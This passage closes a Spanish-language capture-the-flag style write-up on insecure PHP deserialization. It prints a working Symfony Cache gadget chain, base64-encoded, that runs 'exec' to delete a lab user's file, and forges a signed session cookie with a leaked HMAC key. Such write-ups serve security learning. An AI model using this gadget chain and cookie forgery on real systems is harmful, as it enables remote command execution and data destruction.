$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO2E6MTp7aTowO086MzM6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXENhY2hlSXRlbSI6Mjp7czoxMToiKnBvb2xIYXNoIjtpOjE7czoxMjoiKmlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXJwb29sSGFzaCI7aToxO3M6NTg6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319";
$secretKey = "5hct6yp63i63noazpxm8cwpvj5g5ci3o ";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

En este caso yo lo quise hacer con el script en Python que hice:

Y de esta forma es como aprendimos a explotar la deserialización insegura mediante un encadenamiento de métodos.

Eso sería todo, felipe crack :)

🥷
github codespaces